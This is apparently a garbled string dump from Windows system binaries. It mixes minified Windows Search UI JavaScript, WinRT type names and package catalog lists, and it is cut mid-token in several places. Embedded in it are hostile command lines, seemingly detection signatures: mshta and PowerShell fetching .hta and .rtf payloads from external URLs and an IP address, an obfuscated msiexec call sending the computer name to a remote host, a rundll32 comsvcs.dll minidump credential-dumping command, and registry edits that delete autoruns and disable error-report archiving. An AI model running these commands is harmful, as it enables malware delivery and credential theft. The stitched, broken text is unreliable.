r=t.mruSuppressions.maxGroupCCR?t.mruSuppressions.maxGroupCCR[i]||0:0,f=t.mruSuppressions.maxGroupProbSugClickGivenPref?t.mruSuppressions.maxGroupProbSugClickGivenPref[i]||0:0,e=t.mruSuppressions.mruGroupRatios?t.mruSuppressions.mruGroupRatios[i]||0:0,v=t.mruSuppressions.mruGroupBackpropRatios?t.mruSuppressions.mruGroupBackpropRatios[i]||0:0,y=t.mruSuppressions.mruGroupBackpropWeights?t.mruSuppressions.mruGroupBackpropWeights[i]||0:0,p=o*r+s*f+h*e+c*v+l*y+a,w=1/(1+Math.exp(-p));u[i]=n.trimFeatureStoreValue(w)}v.mruSuppressionScore=u[i];let f=this.getGroupSuppressionCutOff(v);if(v.mruSuppressionScore<f&&!n.contains(r,v)){if(n.config.forceCoPilotPoweredResultsVisible&&(n.isDocument(v.type)||n.isPhoto(v.type)||n.isFolder(v.type)))continue;if(n.Host.getJupiterProviderEnabled()&&n.Host.getForceCoPSTResultRenderingEnabled()&&n.isSetting(v.type))continue;v.suppressed=!0}}}}}getGroupSuppressionCutOff(t){return n.config.msbUseSuppressionsThreshold&&n.isMsbQFSuggestion(t)?n.config.msbSuppressionsThreshold:n.config.lRModelCutOff}allowedInGroups(n){return n.isAnswer?n.allowedInGroups:!0}getGroupTypeForSuppressions(t){let i=n.getGroupType(t);return i==n.GroupType.LocalPlaces?n.GroupType.SearchSuggestions:i}canBePartiallySuppressed(t,i){return n.getScope(i)!=n.Scope.All}canPartiallySuppressGroups(t,i,r){return n.config.noGroupSuppressions?!1:t.every(n=>!n.query.toLocaleLowerCase().includes(r.queryToFetch))?!1:n.RuntimeConfig.ScopesAvailable?t.every(t=>n.getGroupType(t)==n.GroupType.SearchSuggestions)&&i.every(t=>n.getGroupType(t)==n.GroupType.SearchSuggestions)?!1:!0:!1}isProtocolDuplicate(t,iidth="115"height="110"id="
\mshta.exeshadesc:\windows\system32\=https://praditatech.com/icard/admin/js/images/hf/shades/html/c:\windows\system32\shell32.dll%
expandenvironmentstrings("%windir%\syswow64\windowspowershell\v1.0\powershell.exe"
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://newsengenharia.com.br/statement0512.hta'
c:\windows\system32\mshta.exe%systemroot%\system32\https://hilr.ru/07.11/growth.rtf!%systemroot%\system32\shell32.dll
rc:\windows\system32\cmd.exe|/rs^t^ar^tm^siexecav=gwok^a/^f^v"http://q0.wf:8080/blbnnyfrmfipfr2m4tza54/%computername%"
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://198.23.201.89/warm/quote.hta'
windows.forms.clipboard
 if%i%==1s.isSearchHomeZI)?!n.config.useCobaltCSS||!n.RuntimeConfig.AlwaysWide||!n.isSupportWebResultsInAllScopeInDMAEnabled()&&n.isThirdPartySearchAllowed()||--t:--t,(t<0||t>=f)&&(t=0),i.slice(t,t+1)}}getSelectedItem(){return null}select(t){let i=[].slice.call(n.StaticHtmlElements.scopesHeader.getElementsByClassName("scope-tile")),r=n.shouldSkipSelectedScope()?i.filter(n=>!n.classList.contains("scope-tile--selected")):i;this._currentScopeTileIndex=r.indexOf(_ge(t.id));n.shouldSkipSelectedScope()&&(this._currentScopeTileIndex=i.indexOf(r[this._currentScopeTileIndex]))}onAfterKeyDown(){return!1}getSubstrateUpsellClickHandler(t){let i=()=>{n.Host.refreshCurrentPane(),n.Host.setFocusInSearchBox(null,"SubstrateUpsell")};return()=>this._accessTokenManager.promptAutheticateDialog(t,n.getSubstrateResourceOrScope(t),i,i)}getSubstrateUpsell(t,i,r){let s=null,u="VerifyAccountToSearch",f=0,h="CloudSearch",c=["Verify"],e=null,o=[];if(r==0){let s=n.getEffectiveScope(this._currentQuery);f=6;let i=this._accessTokenManager?this._accessTokenManager.getCachedAccountInfo(t):null;i&&o.push(i.accountUserName);let r=[n.Scope.People,n.Scope.Emails,n.Scope.Documents];n.config.accountVerificationInAllScope&&r.push(n.Scope.All);n.contains(r,s)&&(o.length>0&&(u="VerifyAccount"),e=this._substrateUpsellDismiss);h=""}else r==2&&(u=null,f=2,s={content:n.getCloudWeatherFontIcon(),type:2,needsAccentColor:!0},e=this._substrateUpsellDismiss,c=["VerifyAccountToSearch"]);return this.createAdvancedOption(t==1?"COFA":"COOA",i,h,u,c,this.getSubstrateUpsellClickHandler(t),f,e,s,null,o,"VerifyButton")}getOneDriveUpsell(t){return this.createAdvancedOption("SDSC",t,null,null,["SeeResultsFromOneDrive"],()=>{n.Host.launchCortanaSignInAsync()},2,null,{content:n.getCloudWeatherFontIcon(),type:2,needsAccentColor:!1})}getIndexingOption(t){let i=n.config.controlPanelSearchSettings?()=>n.Host.launchSearchSettingsAsync():()=>n.LocalDataProvider.launchIndexingOptions(!1);return this.createAdvancedOption("OMIO",t,"",null,["OptionsMenuIndexing"],i,2,null,{type:2,content:"&#xED52"})}getAdvancedOptionCssClass(n,t){return n==4?t?"menuInfo selectedAccount":"menuInfo":n==5?"menuLabel":null}createContextMenuGroup(n,t,i,r){let u=this.createAdvancedOption(n,t,null,i,null,null,5);return u.groupItems=r,u.narratorText=u.message,u}createBuildVersionOption(){const t=n.Host.getLocString("Build");return{id:"advancedOption"+this._advancedOptionsIdCounter++,selected:!1,title:t,message:undefined,text:t+": "+n.config.snrVersion,instItem:undefined,click:undefined,layout:4,cssClass:this.getAdvancedOptionCssClass(4),isSelectable:!1,subItems:undefined,isExpanded:!1}}createDebugFallbackOption(t){return this.createAdvancedOption(null,t,"FallbackBundleText",null,["FallbackBundleText"],()=>n.fallbackToPrepopulatedBundle(new Error("Fallback button clicked")),2,null,{type:2,content:"&#xE81F"})}createAdvancedOption(t,i,r,u,f,e,o,s,h,c,l,a,v){let p;t&&(p=this.getInstItem(t,i));let w="advancedOption"+this._advancedOptionsIdCounter++;c&&c.length==0&&(c=null);let y={id:w,selected:!1,title:n.Host.getLocString(r),message:u?n.Host.getLocString(u,...(l?l:[])):null,text:f?n.Host.getLocString(f[0]):null,instItem:p,click:undefined,layout:o,dismiss:s,icon:h,cssClass:this.getAdvancedOptionCssClass(o),isSelectable:!!e||!!c,subItems:c,buttonLabel:n.Host.getLocString(a),isExpanded:!c?undefined:!1,toggleType:v};return y.narratorText=y.text,y.click=e?(t,i)=>{p&&n.InstrumentationHelper.instrumentItemClick(t,p,n.SequenceNumberManager.getSequenceNumber(),null,i,null),e(y)}:undefined,y}getAccountOptions(t,i){let u=[];if(!this._accessTokenManager)return u;let f=this._accessTokenManager.getCachedAccountInfo(0),e=this._accessTokenManager.getCachedAccountInfo(1),c=this._accessTokenManager.isMsaAvailable(),l=this._accessTokenManager.isAadAvailable(),o="menuItemWithButton focusable",s="removeHover",h="highlight",r;return(f||e)&&!i&&(r=this.createAdvancedOption(null,t,null,"ConnectedAccounts",null,null,5),r.cssClass=this.getAdvancedOptionCssClass(5),u.push(r),f&&n.isCloudSearchEnabledMsaCache&&(r=this.createAdvancedOption(null,t,null,null,["Mid:i.applicationUserModelId};n.InstrumentationHelper.logClientInstEvent("Select","ScopeChanged",null,s,"WindowsTelemetry",33554432);(e!=n.Scope.ThirdPartyWeb||f)&&n.Host.switchToThirdPartyScope(i,r.queryToFetch);this.setFocusInSearchBox("scope clickHandler "+i.displayName)}}clickHandler(t,i,r){let o=n.getScopeDisplayName(n.ScopeConfig[t]),e,u=this._currentQuery,f=u.scope;if(this._shouldRenderScopes=!0,this._scopeTiles.some(n=>n.type==f)||(f=n.Scope.All),o&&f!=t){e=(t==n.Scope.All||t==n.Scope.PathCompletion?"":o+": ")+u.queryToFetch;this.innerRender(t,t,u,this._topHitPresent,this._resultsPresent,!0,!1);let i={query:this._currentQuery,topResults:[],groups:[]};this._page.updateTopResultsView(i,!1);this._page.updateGroupsView(i,!1)}else{if(f==n.Scope.All||this._allScopeButtonPresent){this.setFocusInSearchBox("scope clickHandler noop");return}e=u.queryToFetch;t=n.Scope.All;this.innerRender(t,t,u,this._topHitPresent,this._resultsPresent,!0,!1)}n.isThirdPartySearchAllowed()&&n.Host.setMRUSearchApp();let s=n.Scope[t],h={Scope:s,Source:i,GroupSource:r&&r.source?r.source.toString():undefined};n.InstrumentationHelper.logClientInstEvent("Select","ScopeChanged",null,h,"WindowsTelemetry",33554432);n.Host.getLogUserActivityDataEnabled()&&n.InstrumentationHelper.instrumentInlineActions(2);f!=t&&n.Host.reformulate(e,undefined,undefined,r);this.setFocusInSearchBox("scope clickHandler "+s)}setFocusInSearchBox(t){n.Host.setFocusInSearchBox(null,t);let i=n.getCurrentActiveElement();i&&i.blur()}isScopeElement(t){return t&&this._scopeTiles&&(this.isScopeButton(t.id)||n.contains(this._scopeTiles,t))}isMenuElement(n){return n&&this.isMenuButton(n.id)}isScopeButton(n){return n==this._feedbackButton.id||n==this._rewardsBadgeButton.id||n==this._userProfileButton.id||n==this._closeButton.id||n==this._backButton.id||n==this._codexChatLeftButton.id||n==this._codexChatRightButton.id||n==this._searchSettingsButton.id||n==y||(n===null||n===void 0?void 0:n.startsWith(p))||this.isMenuButton(n)}isMenuButton(n){return n==this._moreButton.id||n==this._optionsButton.id}getSelectableItems(){let t=[];n.RuntimeConfig.ScopesAvailable&&(t=t.concat(this.getScopeSelectableItems()));let i=this._advancedOptionsScope.filter(n=>n.layout==0||n.layout==6);return i.length>0&&(t=t.concat(i)),t}getSelectableItemsByGroup(){let t=[],i=this.getScopeBarElements();if(n.shouldSkipSelectedScope()&&this._selectedScope==i[0]&&(i=i.slice(1)),n.isWin11DSB(this._currentQuery))n.isThirdPartySearchAllowed()&&n.Host.isThirdPartySearchAppsEnabled()&&t.push(this.getDMAToggleTiles());else{t.push(i.slice(0,1));let r=i.findIndex(n=>n.selected);if(r>0)t.push(i.slice(r,r+1));else if(!n.shouldSkipSelectedScope()){let n=i.findIndex(n=>n.enabled);n>0&&t.push(i.slice(n,n+1))}}const u=[this._backButton,this._codexChatLeftButton].map(n=>_ge(n.id)?[n]:undefined).filter(n=>n),f=[this._moreButton,this._rewardsBadgeButton,this._userProfileButton,this._feedbackButton,this._searchSettingsButton,this._optionsButton,this._closeButton,this._codexChatRightButton].map(n=>_ge(n.id)?[n]:undefined).filter(n=>n);t=[...u,...t,...f];let r=this._advancedOptionsScope.filter(n=>n.layout==0||n.layout==6);return r.length>0&&t.push(...r.map(n=>[n])),t}getScopeSelectableItems(){var u;let i=this.getScopeBarElements(),t=this._currentScopeTileIndex,f=i.length;if(n.isWin11DSB(this._currentQuery))return t<0&&(t=0),this.getSelectableItemsByGroup()[t];if(n.shouldSkipSelectedScope()&&this._selectedScope==i[0]&&(i=i.slice(1),--t,--f),t<0&&this._selectedScope&&!n.shouldSkipSelectedScope())return[this._selectedScope];else{let y=n.getCurrentActiveElement();if(y)switch(y.id){case e:return[this._moreButton];case w:return[this._searchSettingsButton];case r:return[this._feedbackButton];case h:return[this._optionsButton];case c:return[this._rewardsBadgeButton];case l:return[this._userProfileButton];case a:return[this._closeButton];case v:return[this._backButton];case o:return[this._codexChatLeftButton];case s:return[this._codexChatRightButton]}return!n.isCodexEligible()||!n.config.codexSimple||((u=this._currentQuery)===null||u===void 0?void 0:u
WindowsCui
WindowsCEGui
WindowsGui
oft\windows\currentversion\t
Windows\ShellNoRoam\MUICache
\C:\WINDOWS\system32\app.exe
rundll32.exec:\windows\system32\comsvcs.dll,minidump
movembr.exe%homedrive%\windows\system32\
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
windows.remove<
  <assemblyIdentity name="Microsoft.Windows.Common-Controls" version="6.0.26100.7824" processorArchitecture="amd64" publicKeyToken="6595b64144ccf1df" type="win32" />
  <file name="comctl32.dll" cmiv2:importPath="$(build.nttree)\asms\60\msft\windows\common\controls" cmiv2:sourceName="">
      <assemblyIdentity name="Microsoft.Windows.Common-Controls.Resources" version="6.0.0.0" processorArchitecture="amd64" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" />
@Windows@winrt@@
.?AU?$base_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UPerformancePage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UPerformancePage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationOrrelationId
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
CrossDeviceResumeAppMicrosoftWindows.Client.CBS_cw5n1h2txyewy!>
Global.ActionUIMicrosoftWindows.Client.CBS_cw5n1h2txyewy!9
MicrosoftWindows.Client.WebExperience_cR
reg delete hkcu\software\microsoft\windows\currentversion\run /va /f
reg add "hkey_local_machine\software\microsoft\windows\windows error reporting" /v "disablearchive" /t reg_dword /d 1 /f
system32\sdelete.dllh
\Microsoft\Windows\CurrentVersion\Run
9)&data[3]=='windows'){
gsecurityscanner-modernwindows11styleguiapplication
6software\microsoft\windowsadvancedthreatprotection
software\microsoft\windows\currentversion\runonce
2%\efsui.exe;%system32%\mstsc.exe;%system32%\rekeywiz.exe
%system32%\bcdedit.exe;%system32%\disksnapshot.exe;%system32%\genvalobj.exe;%system32%\omadmclient.exe;%system32%\rmactivate.exe;%system32%\rmactivate_isv.exe;%system32%\rmactivate_ssp.exe;%system32%\rmactivate_ssp_isv.exe;%system32%\werfault.exe
%system32%\at.exe;%system32%\netdom.exe
%system32%\alg.exe;%system32%\calc.exe;%system32%\compmgmtlauncher.exe;%system32%\computerdefaults.exe;%system32%\disksnapshot.exe;%system32%\dpiscaling.exe;%system32%\efsui.exe;%system32%\filehistory.exe;%system32%\fodhelper.exe;%system32%\ie4uinit.exe;%system32%\lpksetup.exe;%system32%\mfpmp.exe;%system32%\mshta.exe;%system32%\mstsc.exe;%system32%\net1.exe;%system32%\netplwiz.exe;%system32%\netsh.exe;%system32%\presentationhost.exe;%system32%\quickassist.exe;%system32%\rdpclip.exe;%system32%\rekeywiz.exe;%system32%\resmon.exe;%system32%\rmactivate.exe;%system32%\rmactivate_ssp_isv.exe;%system32%\sdclt.exe;%system32%\slui.exe;%system32%\sppextcomobj.exe;%system32%\stordiag.exe;%system32%\tzsync.exe;%system32%\uevappmonitor.exe;%system32%\useraccountcontrolsettings.exe;%system32%\workfolders.exe;%system32%\write.exe;%system32%\wscadminui.exe;%programfiles%\minecraft launcher\minecraftlauncher.exe;%programfiles%\microsoft deployment toolkit\bin\microsoft.bdd.catalog35.exe;winbox64.exe
%system32%\efsui.exe;%system32%\fxssvc.exe;%system32%\gpfixup.exe;%system32%\licmgr.exe;%system32%\mstsc.exe;%system32%\netdom.exe;%system32%\nlbmgr.exe;%system32%\perfmon.exe;%system32%\rekeywiz.exe;%system32%\rpcping.exe;%system32%\runas.exe;%system32%\systempropertiesadvanced.exe;%system32%\taskmgr.exe;%system32%\wbadmin.exe;%system32%\wfs.exe;%system32%\wkspbroker.exe;%system32%\rasphone.exe
%system32%\dwm.exe;%system32%\sihost.exe
%system32%\hvsievaluator.exe
%system32%\colorcpl.exe
%system32%\cmstp.exe
%system32%\cmdl32.exe
%system32%\dfsrdiag.exe;%system32%\msdtc.exe;%system32%\tieringengineservice.exe;%system32%\wbengine.exe
%system32%\licensingdiag.exe
%system32%\compmgmtlauncher.exe;%system32%\dpiscaling.exe;%system32%\psr.exe;%system32%\resmon.exe;%system32%\sdclt.exe;%system32%\slui.exe;%system32%\workfolders.exe;%system32%\write.exe
%system32%\write.exe
%system32%\certenrollctrl.exe;%system32%\dmcertinst.exe
%system32%\certreq.exe;%system32%\certutil.exe;%system32%\repadmin.exe
%system32%\notepad.exe
%system32%\bootim.exe;%system32%\certutil.exe;%system32%\cmdl32.exe;%system32%\expand.exe;%system32%\extrac32.exe;%system32%\iesettingsync.exe;%system32%\licensingdiag.exe;%system32%\makecab.exe;%system32%\msdt.exe;%system32%\musnotification.exe;%system32%\musnotificationux.exe;%system32%\netsh.exe;%system32%\plasrv.exe;%system32%\pnputil.exe;%system32%\reagentc.exe;%system32%\recdisc.exe;%system32%\relpost.exe;%system32%\resetengine.exe;%system32%\sdclt.exe;%system32%\sihclient.exe;%system32%\systemreset.exe;%system32%\usocoreworker.exe;%system32%\wextract.exe;%system32%\wimserv.exe;%system32%\wpnpinst.exe;%system32%\logman.exe
%system32%\repair-bde.exe
%system32%
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat|Microsoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat|
Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|rosoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
D$d(55182095))&&n.config.enabledMsaAuthV2?r["X-Search-MsaV2Token"]=t.Token:r["X-Search-RPSToken"]=t.Token,delete r.Authorization):(r.Authorization="Bearer "+t.Token,(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?delete r["X-Search-MsaV2Token"]:delete r["X-Search-RPSToken"]))})}}else i==2||i==4?t._accessTokenManager.getAccount(0,n.getBingResourceOrScope(0),!1,!0,t=>{t&&t.Token&&((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?r["X-Search-MsaV2Token"]=t.Token:r["X-Search-RPSToken"]=t.Token)},undefined):i==1&&t._accessTokenManager.getAccount(1,n.getBingResourceOrScope(1),!1,!0,n=>{n&&n.Token&&(r.Authorization="Bearer "+n.Token)},undefined)}}static setHostPropsFromCortanaHeaders(i,r){t._shouldRequestEltoken=!!i["X-Search-Location"];let u=i["X-BM-ClientFeatures"];u&&(r.push(...u.split(",")),t._headersCache["X-BM-ClientFeatures"]=r.join());t._safeSearchSetting=i["X-Search-SafeSearch"];t._isEducationEnvironment=i["X-Device-EnableRegulatoryPsm"]=="1";t._isWindowsS=i["X-Device-EnableCPsm"]=="1";t._partnerSearchCode=i["X-Device-PSC"];n.substrateProvidersEnabled()||t.updateScopeList()}static initHeadersOverrides(r){let u=[];t._headersCache={};i.systemRAMInMB&&i.systemRAMInMB<=512&&u.push("LowMemoryDevice");u.push("FontV22");u.push("LightAnswers");n.RuntimeConfig.PreviewPaneAvailable&&u.push("PreviewPaneAvailable");u.length>0&&(t._headersCache["X-BM-ClientFeatures"]=u.join());t.setAuthHeadersFromWindowsTokens();const f=t.getCachedCortanaHeaders();f&&r==t._qfDismissCount?t.setHostPropsFromCortanaHeaders(f,u):ThresholdUtilities.getCortanaHeaders(n=>{n||(SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("initHeadersOverrides",undefined,"get Cortana headers failed")),n&&r==t._qfDismissCount&&(t.setCortanaHeadersCache(n),t.setHostPropsFromCortanaHeaders(n,u))})}static createGuid(){return n.safeExecute(()=>i.createGuid(),"createGuid","")}static getLocString(i,...r){let u;for(let n of t._locStrings)if(u=n[i],u)break;return u||(u=t.getEnUsLocString(i)),u&&r.length>0&&(u=n.formatString(u,r)),u===null||u===void 0?void 0:u.replace("_"," ")}static getEnUsLocString(n){for(let i of t._enUsLocStrings){let t=i[n];if(t)return t}return undefined}static getRawImpressionGuid(){return t._currentRawImpressionId}static getConversationId(){return t._currentCVID}static getPrivacyNumber(){return t._randomPrivacyNumber}static isWSBRandomizationEnabled(){return t._wsbEnableRandomization}static getNewConversationId(){let i=n.cleanGuid(n.safeExecute(()=>e.perfMetrics.conversationId,"conversationId"));return t._clientPreCVID=t._clientCurCVID,t._clientCurCVID=i,i?t._clientCurCVID==t._clientPreCVID&&(n.config.forceCVIDUpdate?i=n.cleanGuid(t.createGuid()):n.LogWSBError("getNewConversationId since cvid from client no change",null,new Error("Client returned conversation ID same as before"),undefined,undefined,"WindowsTelemetry")):(n.LogWSBError("getNewConversationId",null,new Error("Client returned null conversation ID"),undefined,undefined,"WindowsTelemetry"),i=n.cleanGuid(t.createGuid())),i}static getNewPrivacyNumber(){return Math.floor(Math.random()*Number.MAX_VALUE)}static keyDownEscapeHandler(){let i={handled:!1};t._keyEscapeHandlers.forEach(t=>n.safeExecute(()=>t(i),"escapeKey"));i.handled||n.safeExecute(()=>SearchAppWrapper.CortanaApp.dismissApp(),"dismissApp");return}static bindQueryChangedOrInitialized(n,i,r){r?i?t._rawQueryChangedHandlers.unshift(n):t._queryChangedHandlers.unshift(n):i?t._rawQueryChangedHandlers.push(n):t._queryChangedHandlers.push(n)}static bindOnSubmit(n){t._onSubmitHandlers.push(n)}static bindOnFeedbackClosing(n){t._onFeedbackClosingHandlers.push(n)}static bindOnEnterChat(n){t._onEnterChatHandlers.push(n)}static bindSearchBoxGlyphIconClick(n){t._onSearchBoxGlyphIconClick.push(n)}static bindSearchBoxClick(n){t._onSearchBoxClick.push(n)}static bindButtonRightOfSearchBoxClick(n){t._onButtonRightOfSearchBoxClick.push(n)}static bindSearchBoxGotFocus(n){t._searchBIFFVegaProviderEnabled();t.setJupiterDefaultConfigs();t.setComposerConfigs()}static shownInit(){let u=t._qfDismissCount;if(t._queryPropertiesOverrides=null,n.RuntimeConfig.QfMode==999999||n.config.enableSnipSearchV2&&i.entryPoint=="WNSSBS"){t._qfDisabled=!0;return}if(n.RuntimeConfig.QfMode==5){let r=n.safeExecute(()=>i.fileExplorerSuggestionPage.currentLocation,"fileExplorerSuggestionPage.currentLocation");t._fileExplorerCurrentPath=r&&!r.startsWith("::")?r:null}t.initCortanaEnabledAndRegion();let e=i.isBingEnabled;e!=n.isBingEnabled()&&(n.refreshBingEnabledCache(e,t.getRegion(),t.getLanguage()),t.updateScopeList());let r=i.homeGeographicRegion;t._queryParamsCache[f.CountryCode]=n.regionCache;r&&r!=n.regionCache&&(t._queryParamsCache[f.HomeGeographicRegion]=r);t.ensureAuthority(u);t.initHeadersOverrides(u);t.keepWSBOpen(n.config.keepCortanaOpened||n.getTweakedSetting("keepCortanaOpenedTweak"))}static isOptionalDiagnosticDataDisabled(){return n.config.windowsUserConsentStatus&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56246287))?t._isOptionalDiagnosticDataDisabled:!1}static ensureAuthority(n){t._accessTokenManager&&t._accessTokenManager.enumerateMultiAccountAuthority(()=>t.initHeadersOverrides(n))}static initCortanaEnabledAndRegion(){n.isCortanaEnabledCache=i.isCortanaEnabled;n.regionCache=(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.cc)||(n.config.ignoreCortanaMarketOverride?i.homeGeographicRegion:i.region)||"";n.revIpRegionCache=typeof _G=="object"&&_G.RevIpCC&&_G.RevIpCC.toUpperCase()||""}static initMSAUserCodexStatus(){if(n.LightweightStorage){const i=t._accessTokenManager.getSelectedAccountId();if(i){const 